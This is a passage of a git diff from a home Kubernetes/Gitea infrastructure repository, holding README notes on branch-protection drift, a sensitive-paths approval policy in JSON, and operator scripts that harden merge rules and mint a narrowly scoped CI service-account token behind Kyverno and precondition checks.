|
`required_approvals: 1` in force and **zero approvals recorded on any of them**. Checking the
|
||||||
|
*branch* view (`/branches/main`) hid this — it does not expose the field. Read the rule object
|
||||||
|
(`/branch_protections/main`) and enumerate its keys.
|
||||||
|
|
||||||
|
> **Do not probe for field names you assume exist.** This Gitea (1.24.3) has no
|
||||||
|
> `apply_to_admins`; asking `jq` for it returns `null`, which reads like "set to false" but
|
||||||
|
> means "key absent". Enumerate with `to_entries` and act on what is really there.
|
||||||
|
|
||||||
|
Now `block_admin_merge_override: true`. **That is still only a setting, not evidence** — it is
|
||||||
|
proven when a green PR is REFUSED a merge until approved, and not before.
|
||||||
|
|
||||||
|
### `require-gate.sh` / `verify-then-enforce.sh`
|
||||||
|
|
||||||
|
`verify-then-enforce.sh` is the re-runnable form of the whole safe order. It merges nothing —
|
||||||
|
merging is a human's reviewed act — but it forces the Flux reconcile and then **aborts** unless
|
||||||
|
the runner pod is healthy, a runner is online, and a real workflow goes green on it, before
|
||||||
|
enabling enforcement and probing the push. `require-gate.sh` is the enforcement step alone.
|
||||||
|
|
||||||
|
Re-run `verify-then-enforce.sh` after any future change to the act-runner Deployment.
|
||||||
|
|
||||||
|
### `expected-branch-protection.json` + `ci/gitea-settings.sh` — the detector
|
||||||
|
|
||||||
|
`expected-branch-protection.json` **declares** the desired rule. `ci/gitea-settings.sh` runs as
|
||||||
|
a merge-gate stage, reads the LIVE rule, and **fails the gate on any divergence** — plus asserts
|
||||||
|
at least one runner is online. It is the only thing in this repository that can see Gitea's own
|
||||||
|
database.
|
||||||
|
|
||||||
|
It reads `/branch_protections/main`, not `/branches/main`: the branch view does **not** expose
|
||||||
|
`block_admin_merge_override`, and it showed all-green for hours while the rule was overridable.
|
||||||
|
|
||||||
|
Behaviour, proven by test rather than assumed:
|
||||||
|
|
||||||
|
| Situation | Exit | Effect |
|
||||||
|
|---|---|---|
|
||||||
|
| live matches the declaration | 0 | green |
|
||||||
|
| any key drifted, or no runner online | 1 | **blocks the merge** |
|
||||||
|
| no `SETTINGS_API_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
|
||||||
|
|
||||||
|
> **The secret is `SETTINGS_API_TOKEN`.** An earlier draft of this table named
|
||||||
|
> `GITEA_SETTINGS_TOKEN`, which **cannot exist as a Gitea secret at all** — Gitea reserves the
|
||||||
|
> `GITEA_` prefix and returns HTTP 400 `invalid secret name`. That is the whole 2026-09-29
|
||||||
|
> inert-detector story, so the wrong name surviving here is worth correcting rather than
|
||||||
|
> reading past. Measured in `ci/gitea-settings.sh`:
|
||||||
|
>
|
||||||
|
> TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
|
||||||
|
>
|
||||||
|
> so `GITEA_SETTINGS_TOKEN` is still honoured — but **only as an environment variable for a
|
||||||
|
> LOCAL run**. It can never be the CI wiring, because the secret that would feed it cannot be
|
||||||
|
> created. In CI, only `SETTINGS_API_TOKEN` exists.
|
||||||
|
|
||||||
|
The skip is deliberately *not* a block: an unwired credential blocking every PR is the
|
||||||
|
lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
|
||||||
|
the stage goes **green on a real PR**, and only then set `REQUIRE_GITEA_SETTINGS=true` in
|
||||||
|
`gate.yml` so a future missing token blocks instead of skipping.
|
||||||
|
|
||||||
|
**Changing the declaration is how you change policy.** If the live state is what you now want,
|
||||||
|
edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
|
||||||
|
|
||||||
|
## `conformance-trigger-kubeconfig.sh` — the narrow L2/L3 trigger credential
|
||||||
|
|
||||||
|
Implements `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 (= §5 step 7): mint a
|
||||||
|
ServiceAccount token for `conformance/conformance-trigger`, wrap **only that token** in a
|
||||||
|
kubeconfig, store it as the Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG`, and — separately,
|
||||||
|
and only on request — set `vars.CLUSTER_AVAILABLE=true`.
|
||||||
|
|
||||||
|
./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run # measure only; writes nothing
|
||||||
|
./infra/gitea/conformance-trigger-kubeconfig.sh # mint + store the secret
|
||||||
|
./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available # + the variable
|
||||||
|
|
||||||
|
Never a cluster-admin kubeconfig, never a copy of the operator's own. The token is never
|
||||||
|
printed: it goes from the TokenRequest API into a 0600 file, into the request **body file**
|
||||||
|
(`--data @file`, so not even into `ps`), and nowhere else. The script refuses to run under
|
||||||
|
`set -x`.
|
||||||
|
|
||||||
|
**Its preconditions are split in two, and the split is the point.**
|
||||||
|
|
||||||
|
| Class | Checks | Blocks |
|
||||||
|
|---|---|---|
|
||||||
|
| **mint-blocking** (cluster) | SA/Role/RoleBinding exist; ClusterPolicy `conformance-trigger-job-shape` is present, `Enforce`, `failurePolicy: Fail`, Ready | the **mint** — nothing is created |
|
||||||
|
| **arm-blocking** (repo) | digest-pinned `CONFORMANCE_RUNNER_IMAGE`; `chainsaw-job.yaml` has an init-container and the admitted image; `ci/conformance.sh` names the trigger kubeconfig in **code, not a comment** | only `CLUSTER_AVAILABLE` |
|
||||||
|
|
||||||
|
Why mint-blocking: Kubernetes puts **no `use` check on a Job's `serviceAccountName`**, so a
|
||||||
|
token that can `create jobs` in `conformance` can run arbitrary code as the privileged
|
||||||
|
`conformance-runner` SA. RBAC cannot close that; the Kyverno policy is the boundary. Minting
|
||||||
|
while it is absent or in `Audit` hands CI the privileged identity, so the script will not do it.
|
||||||
|
|
||||||
|
Why arm-blocking is separate: storing the secret before the runner image / Job template / CI
|
||||||
|
trigger flow exist is harmless (the job is gated off), and is the plan's intended order. So
|
||||||
|
running this today provisions the secret and then **refuses to arm the variable**, naming the
|
||||||
|
missing item.
|
||||||
|
|
||||||
|
**`CLUSTER_AVAILABLE` is not a "turn conformance on" switch.** Measured 2026-09-29: set with no
|
||||||
|
trigger path, `run.sh` scaffold-skipped all 54 tests at rc 0 and `ci/conformance.sh` printed
|
||||||
|
"L2/L3 conformance passed" — a fake green on an enforcing required check. `ci/conformance.sh`
|
||||||
|
now blocks that case, so arming early does not enable L2/L3; it only breaks every PR. Hence:
|
||||||
|
`--arm-cluster-available` plus all preconditions green plus a typed confirmation on a TTY, or
|
||||||
|
nothing happens.
|
||||||
|
|
||||||
|
Both writes are verified the way `set-ci-token.sh` learned to: check `%{http_code}` **and**
|
||||||
|
read the object back. For the secret that proves presence by name only (Gitea never returns
|
||||||
|
secret values); for the variable it proves the value is exactly `true`, which is what
|
||||||
|
`gate.yml` compares against.
|
||||||
|
|
||||||
|
The token **expires** — it is a TokenRequest token, and the script decodes the JWT `exp` claim
|
||||||
|
to report the real expiry rather than trusting `--duration` (the API server caps it). Re-run to
|
||||||
|
rotate. After expiry the trigger gets 401 and the stage fails loudly rather than skipping.
|
||||||
|
|
||||||
|
`--server` exists because the embedded API-server URL must be reachable **from the CI runner
|
||||||
|
pod** — the VIP — which is not necessarily the address your workstation uses. The script
|
||||||
|
refuses a loopback server outright.
|
||||||
|
|
||||||
|
### Why these scripts exist at all, and what is still missing
|
||||||
|
|
||||||
|
Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
|
||||||
|
conformance gate can read. Nothing detects drift from what this directory declares. That is
|
||||||
|
the root cause of the entire 2026-09-29 session: branch protection was off and the runner was
|
||||||
|
gone for a month while the log recorded both as working, and **no check existed that could
|
||||||
|
have caught it.**
|
||||||
|
|
||||||
|
These scripts encode the desired state and can re-assert it; `ci/gitea-settings.sh` above is the
|
||||||
|
**detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
|
||||||
|
root cause of the 2026-09-29 session.
|
||||||
|
|
||||||
|
It is only as good as its wiring: **until `SETTINGS_API_TOKEN` exists it skips**, and a skipped
|
||||||
|
detector detects nothing. (That secret was stored and verified in PR #15; this sentence predates
|
||||||
|
it. The name matters — see the note under the behaviour table above.)
|
||||||
|
|
||||||
|
## Historical sequence (kept for context)
|
||||||
|
|
||||||
|
### Original ordering notes
|
||||||
|
|
||||||
1. **Get an Actions runner registered** — `runner-token-rotate.sh`, then clear the PVC so
|
1. **Get an Actions runner registered** — `runner-token-rotate.sh`, then clear the PVC so
|
||||||
the runner actually re-registers, then confirm it shows `online` in the API. Do not
|
the runner actually re-registers, then confirm it shows `online` in the API. Do not
|
||||||
@@ -54,6 +206,29 @@ commands.
|
|||||||
4. Add the human reviewer as a repo collaborator, then raise `required_approvals` to 1.
|
4. Add the human reviewer as a repo collaborator, then raise `required_approvals` to 1.
|
||||||
|
|
||||||
> **Do not do step 3 before step 1.** A required status check with no runner leaves every
|
> **Do not do step 3 before step 1.** A required status check with no runner leaves every
|
||||||
> PR permanently pending — including the PR that would fix it. The same applies to
|
> PR permanently pending — including the PR that would fix it. That half is measured: PR #1
|
||||||
> `gate.yml`'s `conformance` job: it is `if: false` and never runs, yet still publishes a
|
> sat `pending` for 30.6 minutes across 122 polls with no runner registered, and never
|
||||||
> `gate / conformance (pull_request)` context. Never list that one as required.
|
> reported.
|
||||||
|
|
||||||
|
### Measured, once the runner came up (2026-09-29)
|
||||||
|
|
||||||
|
The first CI jobs this repo ever ran, on PR #1 and PR #2:
|
||||||
|
|
||||||
|
| Context | Result | Time |
|
||||||
|
|---|---|---|
|
||||||
|
| `gate / gate (pull_request)` | success | 1m58s (PR #1), 1m34s (PR #2) |
|
||||||
|
| `gate / gate (push)` | success | 1m32s (PR #2 only) |
|
||||||
|
| `gate / conformance (pull_request)` | **success — "Has been skipped"** | — |
|
||||||
|
|
||||||
|
**Require `gate / gate (pull_request)`. Do NOT require either `conformance` context —
|
||||||
|
but not for the reason an earlier draft of this file gave.** A skipped Gitea Actions job
|
||||||
|
does not hang a status check: Gitea reports it as **`success`** with the description
|
||||||
|
"Has been skipped". So requiring it would not deadlock anything — it would pass
|
||||||
|
*vacuously*, every time, forever, while nothing ran. Under HARD RULE 4 that is worse than
|
||||||
|
a deadlock: a deadlock is loud, a permanently-green check that verifies nothing is
|
||||||
|
exactly the fail-open shape this repo keeps finding.
|
||||||
|
|
||||||
|
The `(push)` contexts appear only for branches matching `gate.yml`'s push trigger
|
||||||
|
(`feature/**`, `fix/**`, `docs/**`, `chore/**`). `feat/**` is **not** in that list, which
|
||||||
|
is why PR #1's `feat/` branch produced only `pull_request` contexts. Require only the
|
||||||
|
`pull_request` context, or PRs from non-matching prefixes will never satisfy the rule.
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
{
|
||||||
|
"_intent": "The CI/CD pipeline is the approver. A human approval is required ONLY for changes that alter what the pipeline itself verifies, or the security posture it rests on -- because those are the changes CI cannot honestly gate: a PR that weakens the gate would be approved by the weakened gate.",
|
||||||
|
"_rule": "If a PR touches any sensitive_paths glob, it needs an APPROVED review from someone who is not its author. Everything else merges on a green gate alone.",
|
||||||
|
"_on_failure_to_evaluate": "BLOCK. Unlike gitea-settings, a skip here is a bypass, not a gap.",
|
||||||
|
"sensitive_paths": [
|
||||||
|
"ci/**",
|
||||||
|
".gitea/**",
|
||||||
|
"conformance/**",
|
||||||
|
"clusters/**",
|
||||||
|
"bootstrap/**",
|
||||||
|
"infra/gitea/**",
|
||||||
|
"platform/kyverno/**",
|
||||||
|
"platform-config/kustomization.yaml",
|
||||||
|
".sops.yaml",
|
||||||
|
"**/*.sops.yaml",
|
||||||
|
"**/rbac.yaml",
|
||||||
|
"CLAUDE.md"
|
||||||
|
],
|
||||||
|
"_why_each": {
|
||||||
|
"ci/**, .gitea/**": "the pipeline itself -- the thing doing the approving",
|
||||||
|
"conformance/**": "the tests and the harness; changing them changes what green MEANS",
|
||||||
|
"clusters/**, bootstrap/**": "Flux wiring -- what reconciles, in what order, with what substitution",
|
||||||
|
"infra/gitea/**, platform-config/kustomization.yaml": "branch protection, the drift detector, and the list that decides which admission policies are actually applied",
|
||||||
|
"platform/kyverno/**": "the admission policy engine",
|
||||||
|
".sops.yaml, **/*.sops.yaml, **/rbac.yaml": "encryption recipients, secrets, and cluster authority",
|
||||||
|
"CLAUDE.md": "the delivery contract agents follow"
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+36
@@ -0,0 +1,36 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Stop repository admins from overriding the merge requirements on `main`.
|
||||||
|
#
|
||||||
|
# WHY. Gitea lets repo admins override branch-protection merge requirements unless
|
||||||
|
# `block_admin_merge_override` is set. It was FALSE, and jakman85 holds `owner` -- so
|
||||||
|
# required_approvals and the required status check were both overridable by the one account
|
||||||
|
# that actually merges. Evidence: PRs #5-#9 all merged with ZERO approvals recorded against
|
||||||
|
# `required_approvals: 1`.
|
||||||
|
#
|
||||||
|
# NOTE ON FIELD NAMES: this Gitea (1.24.3) has NO `apply_to_admins` field. Querying it with jq
|
||||||
|
# returns null, which reads like "set to false" but actually means "key absent". Enumerate the
|
||||||
|
# real keys (`to_entries`) rather than probing names you assume exist.
|
||||||
|
#
|
||||||
|
# Recoverable: an owner can PATCH this back to false if it gets in the way.
|
||||||
|
set -euo pipefail
|
||||||
|
HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
|
||||||
|
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
|
||||||
|
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
|
||||||
|
api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
|
||||||
|
B="https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections/main"
|
||||||
|
|
||||||
|
echo "==> before: block_admin_merge_override = $(api "$B" | jq -r .block_admin_merge_override)"
|
||||||
|
api -X PATCH -H 'Content-Type: application/json' \
|
||||||
|
-d '{"block_admin_merge_override": true}' "$B" >/dev/null
|
||||||
|
AFTER=$(api "$B" | jq -r .block_admin_merge_override)
|
||||||
|
echo "==> after: block_admin_merge_override = $AFTER"
|
||||||
|
[ "$AFTER" = true ] || { echo "PATCH did not take -- do not record this as enforced." >&2; exit 1; }
|
||||||
|
|
||||||
|
api "$B" | jq -r '{enable_push,enable_status_check,status_check_contexts,required_approvals,block_admin_merge_override}'
|
||||||
|
cat <<'NOTE'
|
||||||
|
|
||||||
|
NOW PROVE IT -- the setting is not the evidence. On the next PR:
|
||||||
|
* let the gate go green, then try to merge WITHOUT approving it.
|
||||||
|
* Gitea must REFUSE. If it merges, this still is not doing its job.
|
||||||
|
Do not record approvals as enforced until you have seen a merge refused.
|
||||||
|
NOTE
|
||||||
+575
@@ -0,0 +1,575 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# infra/gitea/conformance-trigger-kubeconfig.sh
|
||||||
|
#
|
||||||
|
# OPERATOR script for docs/plans/l2-l3-conformance-ci-wiring.md §3 item 6 (= §5 step 7):
|
||||||
|
# provision the NARROW CI trigger credential for L2/L3 conformance, and — only when the
|
||||||
|
# rest of the trigger path actually exists — arm `vars.CLUSTER_AVAILABLE`.
|
||||||
|
#
|
||||||
|
# What it does, in order:
|
||||||
|
# 1. measures the preconditions (cluster-side AND repo-side) instead of assuming them
|
||||||
|
# 2. mints a bounded-lifetime ServiceAccount token for `conformance-trigger` in ns
|
||||||
|
# `conformance` (kubectl create token -> TokenRequest API)
|
||||||
|
# 3. assembles a kubeconfig containing ONLY that token + the cluster CA + the API server
|
||||||
|
# 4. PROVES the kubeconfig is the narrow identity (auth whoami + an allow/deny matrix)
|
||||||
|
# 5. stores it as the Gitea Actions repo secret CONFORMANCE_TRIGGER_KUBECONFIG, and
|
||||||
|
# VERIFIES the store by reading the secret list back
|
||||||
|
# 6. sets vars.CLUSTER_AVAILABLE=true ONLY under --arm-cluster-available, only with every
|
||||||
|
# precondition green, and only after a typed confirmation. Otherwise it REFUSES.
|
||||||
|
#
|
||||||
|
# NOTHING SECRET IS EVER PRINTED. The token exists in a shell variable and in a 0600 file
|
||||||
|
# under a 0700 temp dir that is removed on exit; it reaches the Gitea API in a request-body
|
||||||
|
# FILE (`--data @file`), never in argv, never on stdout. This script prints names, byte
|
||||||
|
# lengths, HTTP status codes, the token's expiry timestamp, and yes/no authorization answers.
|
||||||
|
#
|
||||||
|
# ----------------------------------------------------------------------------------------
|
||||||
|
# THREE HARD-WON LESSONS THIS SCRIPT IS BUILT AROUND
|
||||||
|
# ----------------------------------------------------------------------------------------
|
||||||
|
# 1. GITEA RESERVES THE `GITEA_` PREFIX FOR SECRET NAMES.
|
||||||
|
# `PUT .../actions/secrets/GITEA_ANYTHING` returns HTTP 400 {"message":"invalid secret
|
||||||
|
# name"}. That is why set-ci-token.sh stores SETTINGS_API_TOKEN and not
|
||||||
|
# GITEA_SETTINGS_TOKEN. `CONFORMANCE_TRIGGER_KUBECONFIG` is legal, and is the exact name
|
||||||
|
# .gitea/workflows/{gate.yml,merge-gate.yaml} already reference — do not "tidy" it.
|
||||||
|
#
|
||||||
|
# 2. `curl -sS` EXITS 0 ON AN HTTP ERROR. The first version of set-ci-token.sh sent its PUT
|
||||||
|
# to /dev/null and printed "stored" unconditionally; the secret never existed and nobody
|
||||||
|
# knew for hours. So every write here captures `-w '%{http_code}'`, checks it, AND reads
|
||||||
|
# the object back afterwards. A store is not claimed unless the read-back shows it.
|
||||||
|
#
|
||||||
|
# 3. `CLUSTER_AVAILABLE` IS A LOADED GUN — SEE THE 2026-09-29 CORRECTION IN THE PLAN.
|
||||||
|
# `conformance/run.sh` exits 0 in scaffold mode with all 54 tests `<skipped>` when it
|
||||||
|
# cannot reach a cluster. Measured on 2026-09-29: with CLUSTER_AVAILABLE=true and no
|
||||||
|
# trigger path, ci/conformance.sh printed "[ ok ] L2/L3 conformance passed" at rc 0 — a
|
||||||
|
# FAKE GREEN on an enforcing required status check. ci/conformance.sh now BLOCKS that
|
||||||
|
# case (exit 1), so today the variable does not enable L2/L3: it only changes which way
|
||||||
|
# the stage fails. Arming it before §3 items 1-4 land therefore buys nothing and breaks
|
||||||
|
# every PR. This script refuses to do it.
|
||||||
|
#
|
||||||
|
# ----------------------------------------------------------------------------------------
|
||||||
|
# WHY THE PRECONDITIONS ARE SPLIT INTO TWO CLASSES (deliberate, and load-bearing)
|
||||||
|
# ----------------------------------------------------------------------------------------
|
||||||
|
# MINT-BLOCKING (cluster-side). Kubernetes places NO `use` check on a Job's
|
||||||
|
# `serviceAccountName`, so a token with plain `create jobs` in ns `conformance` can create a
|
||||||
|
# Job running as the PRIVILEGED `conformance-runner` SA with an arbitrary command. The
|
||||||
|
# trigger Role is only the necessary half; the sufficient half is the Kyverno ClusterPolicy
|
||||||
|
# `conformance-trigger-job-shape` (platform/kyverno/admission/), which must be present AND
|
||||||
|
# Enforce AND Ready. Minting this token while that policy is absent or in Audit hands CI a
|
||||||
|
# privileged identity. So those checks block the MINT itself — nothing is created if they
|
||||||
|
# fail. (See conformance/incluster/rbac.yaml's trigger header and plan §4.)
|
||||||
|
#
|
||||||
|
# ARM-BLOCKING (repo-side). The runner image, the Job template's init-container, and
|
||||||
|
# ci/conformance.sh's in-cluster trigger flow (plan §3 items 1, 2, 4) are what make a real
|
||||||
|
# L2/L3 run possible. Storing the kubeconfig secret without them is harmless — the
|
||||||
|
# conformance job is gated on the variable and never starts — and the plan explicitly lands
|
||||||
|
# the secret before the switch. So these checks block ONLY the variable.
|
||||||
|
#
|
||||||
|
# Net effect: you can safely run this script today to provision the secret. It will then
|
||||||
|
# REFUSE to arm the variable, and tell you exactly which repo-side item is missing.
|
||||||
|
#
|
||||||
|
# ----------------------------------------------------------------------------------------
|
||||||
|
# USAGE
|
||||||
|
# ----------------------------------------------------------------------------------------
|
||||||
|
# ./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run
|
||||||
|
# Read-only. Measures every precondition, mints nothing, writes nothing.
|
||||||
|
# ./infra/gitea/conformance-trigger-kubeconfig.sh [--server URL]
|
||||||
|
# Mint + store the secret. Does NOT touch CLUSTER_AVAILABLE.
|
||||||
|
# ./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available
|
||||||
|
# The above, then set vars.CLUSTER_AVAILABLE=true after a typed confirmation —
|
||||||
|
# refused unless every precondition is green.
|
||||||
|
#
|
||||||
|
# Options:
|
||||||
|
# --dry-run measure only; no TokenRequest, no PUT/POST
|
||||||
|
# --arm-cluster-available additionally set vars.CLUSTER_AVAILABLE=true (guarded)
|
||||||
|
# --server URL API server URL to embed (default: the operator context's own)
|
||||||
|
# --context NAME kube context to read the CA/server from (default: k3s-prod)
|
||||||
|
# --duration D requested token lifetime (default: 720h = 30d)
|
||||||
|
# -h | --help this text
|
||||||
|
#
|
||||||
|
# ON --server: the embedded server URL must be reachable FROM THE CI RUNNER POD, which is
|
||||||
|
# not necessarily the address your workstation uses. The runner has broad egress and reaches
|
||||||
|
# the kube-API VIP (per the plan: 192.168.1.49:6443). If your operator kubeconfig points at
|
||||||
|
# a workstation-only name or a localhost tunnel, pass --server explicitly; the script warns
|
||||||
|
# on a loopback server but cannot know your topology for you.
|
||||||
|
#
|
||||||
|
# ON TOKEN LIFETIME: this is a TokenRequest token and it EXPIRES. The API server may cap the
|
||||||
|
# requested duration, so the script decodes the JWT `exp` claim and reports the ACTUAL
|
||||||
|
# expiry rather than trusting --duration. Re-run this script to rotate. After expiry the
|
||||||
|
# trigger gets 401 and the conformance stage FAILS (loudly) rather than skipping — which is
|
||||||
|
# the correct direction, but put the expiry date in your calendar.
|
||||||
|
#
|
||||||
|
# DELIBERATELY NOT DONE: SOPS-sealing the token into secrets/conformance-trigger.sops.yaml
|
||||||
|
# (plan §3 item 6's "for reproducibility/rotation"). A bearer token with a 30-day life
|
||||||
|
# cannot usefully survive the branch -> PR -> review -> merge flow (CLAUDE.md §6), and
|
||||||
|
# committing one buys re-issuance we get for free by re-running this script against the
|
||||||
|
# live SA. If the operator still wants it sealed, that is a separate reviewed change.
|
||||||
|
#
|
||||||
|
# FORBIDDEN HERE, ON PURPOSE: no cluster-admin kubeconfig, no copy of the operator's own
|
||||||
|
# kubeconfig, no widening of conformance/incluster/rbac.yaml, no mutating kubectl beyond the
|
||||||
|
# TokenRequest itself, no `kubectl apply`.
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
# xtrace would print the token. Refuse rather than leak.
|
||||||
|
case "$-" in
|
||||||
|
*x*) echo "FATAL: refusing to run under 'set -x' — xtrace would print the token" >&2; exit 1 ;;
|
||||||
|
esac
|
||||||
|
umask 077
|
||||||
|
|
||||||
|
HOST=gitea.home.keithjackson.dev
|
||||||
|
OWNER=Home-Network
|
||||||
|
REPO=home-network-k3s-impl
|
||||||
|
# Legal secret name: NOT prefixed GITEA_ (lesson 1), and the name the workflows already use.
|
||||||
|
SECRET=CONFORMANCE_TRIGGER_KUBECONFIG
|
||||||
|
VARIABLE=CLUSTER_AVAILABLE
|
||||||
|
NS=conformance
|
||||||
|
SA=conformance-trigger
|
||||||
|
RUNNER_SA=conformance-runner
|
||||||
|
POLICY=conformance-trigger-job-shape
|
||||||
|
# The image prefix the admission policy admits. Kept in sync with
|
||||||
|
# platform/kyverno/admission/conformance-trigger-job-shape.yaml by the P2 check below.
|
||||||
|
RUNNER_IMAGE_PREFIX='gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:'
|
||||||
|
|
||||||
|
KCTX=k3s-prod
|
||||||
|
DURATION=720h
|
||||||
|
DRY_RUN=false
|
||||||
|
ARM=false
|
||||||
|
SERVER_OVERRIDE=""
|
||||||
|
|
||||||
|
REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
|
||||||
|
|
||||||
|
step() { printf '\n==> %s\n' "$*"; }
|
||||||
|
info() { printf ' %s\n' "$*"; }
|
||||||
|
warn() { printf ' WARN: %s\n' "$*" >&2; }
|
||||||
|
die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
|
||||||
|
|
||||||
|
usage() {
|
||||||
|
cat <<'USAGE'
|
||||||
|
conformance-trigger-kubeconfig.sh — provision the narrow L2/L3 conformance CI trigger credential.
|
||||||
|
|
||||||
|
--dry-run measure every precondition; mint nothing, write nothing (read-only)
|
||||||
|
--arm-cluster-available additionally set vars.CLUSTER_AVAILABLE=true (guarded + confirmed)
|
||||||
|
--server URL API server URL to embed (default: the operator context's own;
|
||||||
|
must be reachable FROM THE CI RUNNER POD — the kube-API VIP)
|
||||||
|
--context NAME kube context to read the CA/server from (default: k3s-prod)
|
||||||
|
--duration D requested token lifetime (default: 720h)
|
||||||
|
-h | --help this text
|
||||||
|
|
||||||
|
Read the header of this file before running it: the CLUSTER_AVAILABLE guard, the split between
|
||||||
|
mint-blocking and arm-blocking preconditions, and why nothing secret is ever printed.
|
||||||
|
USAGE
|
||||||
|
}
|
||||||
|
|
||||||
|
while [ $# -gt 0 ]; do
|
||||||
|
case "$1" in
|
||||||
|
--dry-run) DRY_RUN=true ;;
|
||||||
|
--arm-cluster-available) ARM=true ;;
|
||||||
|
--server) SERVER_OVERRIDE="${2:?--server needs a URL}"; shift ;;
|
||||||
|
--context) KCTX="${2:?--context needs a name}"; shift ;;
|
||||||
|
--duration) DURATION="${2:?--duration needs a value}"; shift ;;
|
||||||
|
-h|--help) usage; exit 0 ;;
|
||||||
|
*) die "unknown argument: $1 (try --help)" ;;
|
||||||
|
esac
|
||||||
|
shift
|
||||||
|
done
|
||||||
|
if $DRY_RUN && $ARM; then die "--dry-run and --arm-cluster-available are contradictory"; fi
|
||||||
|
|
||||||
|
for t in kubectl jq curl git base64; do
|
||||||
|
command -v "$t" >/dev/null || die "missing required tool: $t"
|
||||||
|
done
|
||||||
|
|
||||||
|
WORK="$(mktemp -d)"
|
||||||
|
KC="${WORK}/conformance-trigger.kubeconfig"
|
||||||
|
cleanup() { rm -rf "$WORK"; }
|
||||||
|
trap cleanup EXIT
|
||||||
|
trap 'cleanup; exit 130' INT TERM
|
||||||
|
|
||||||
|
# ========================================================================================
|
||||||
|
# 0. Gitea credentials — from the credential helper git already has for this host, exactly
|
||||||
|
# as branch-protection.sh / set-ci-token.sh / require-gate.sh do. Never in argv: curl
|
||||||
|
# reads them from a --config file descriptor.
|
||||||
|
# ========================================================================================
|
||||||
|
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
|
||||||
|
U="$(sed -n 's/^username=//p' <<<"$creds")"
|
||||||
|
P="$(sed -n 's/^password=//p' <<<"$creds")"
|
||||||
|
unset creds
|
||||||
|
[ -n "$U" ] && [ -n "$P" ] || die "no stored credential for ${HOST} (git credential fill returned nothing)"
|
||||||
|
basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
|
||||||
|
API="https://${HOST}/api/v1/repos/${OWNER}/${REPO}"
|
||||||
|
|
||||||
|
# ========================================================================================
|
||||||
|
# 1. PRECONDITIONS — measured, never assumed (CLAUDE.md §2b: query the thing itself).
|
||||||
|
# Two independent tallies, per the split documented in the header.
|
||||||
|
# ========================================================================================
|
||||||
|
MINT_FAIL=0
|
||||||
|
ARM_FAIL=0
|
||||||
|
pass() { printf ' [ ok ] %s\n' "$*"; }
|
||||||
|
fail_mint() { printf ' [MINT-BLOCK] %s\n' "$*" >&2; MINT_FAIL=$((MINT_FAIL + 1)); }
|
||||||
|
fail_arm() { printf ' [ARM-BLOCK] %s\n' "$*" >&2; ARM_FAIL=$((ARM_FAIL + 1)); }
|
||||||
|
|
||||||
|
step "preconditions — cluster side (these block the MINT: without them the token IS privileged)"
|
||||||
|
|
||||||
|
kubectl --context "$KCTX" get --raw /version >/dev/null 2>&1 \
|
||||||
|
|| die "cannot reach the API server via context '${KCTX}' — nothing below can be measured"
|
||||||
|
pass "API server reachable via context ${KCTX}"
|
||||||
|
|
||||||
|
# C1: the trigger identity exists (created by Flux from conformance/incluster/rbac.yaml via
|
||||||
|
# clusters/base/conformance.yaml). We print object names only, never contents.
|
||||||
|
if kubectl --context "$KCTX" -n "$NS" get serviceaccount "$SA" -o name >/dev/null 2>&1; then
|
||||||
|
pass "ServiceAccount ${NS}/${SA} exists"
|
||||||
|
else
|
||||||
|
fail_mint "ServiceAccount ${NS}/${SA} is ABSENT — is the 'conformance' Flux Kustomization reconciled?"
|
||||||
|
fi
|
||||||
|
for kind in role rolebinding; do
|
||||||
|
if kubectl --context "$KCTX" -n "$NS" get "$kind" "$SA" -o name >/dev/null 2>&1; then
|
||||||
|
pass "${kind} ${NS}/${SA} exists"
|
||||||
|
else
|
||||||
|
fail_mint "${kind} ${NS}/${SA} is ABSENT — the token would authenticate but authorize nothing"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# C2: THE SECURITY BOUNDARY. Present, Enforce, and Ready. Anything else and we do not mint.
|
||||||
|
# `validationFailureAction: Audit` is not a boundary; an unready policy is not a boundary.
|
||||||
|
if pol="$(kubectl --context "$KCTX" get clusterpolicy "$POLICY" -o json 2>/dev/null)"; then
|
||||||
|
action="$(jq -r '.spec.validationFailureAction // .spec.rules[0].validate.failureAction // "UNSET"' <<<"$pol")"
|
||||||
|
failpol="$(jq -r '.spec.failurePolicy // "UNSET"' <<<"$pol")"
|
||||||
|
# Kyverno moved readiness from .status.ready to a Ready condition; accept either, and
|
||||||
|
# treat "neither key present" as UNMEASURABLE -> block (fail closed, do not assume ready).
|
||||||
|
ready="$(jq -r '
|
||||||
|
if (.status.ready != null) then (.status.ready | tostring)
|
||||||
|
elif (.status.conditions != null) then
|
||||||
|
((.status.conditions[] | select(.type == "Ready") | .status) // "UNKNOWN")
|
||||||
|
else "UNKNOWN" end' <<<"$pol")"
|
||||||
|
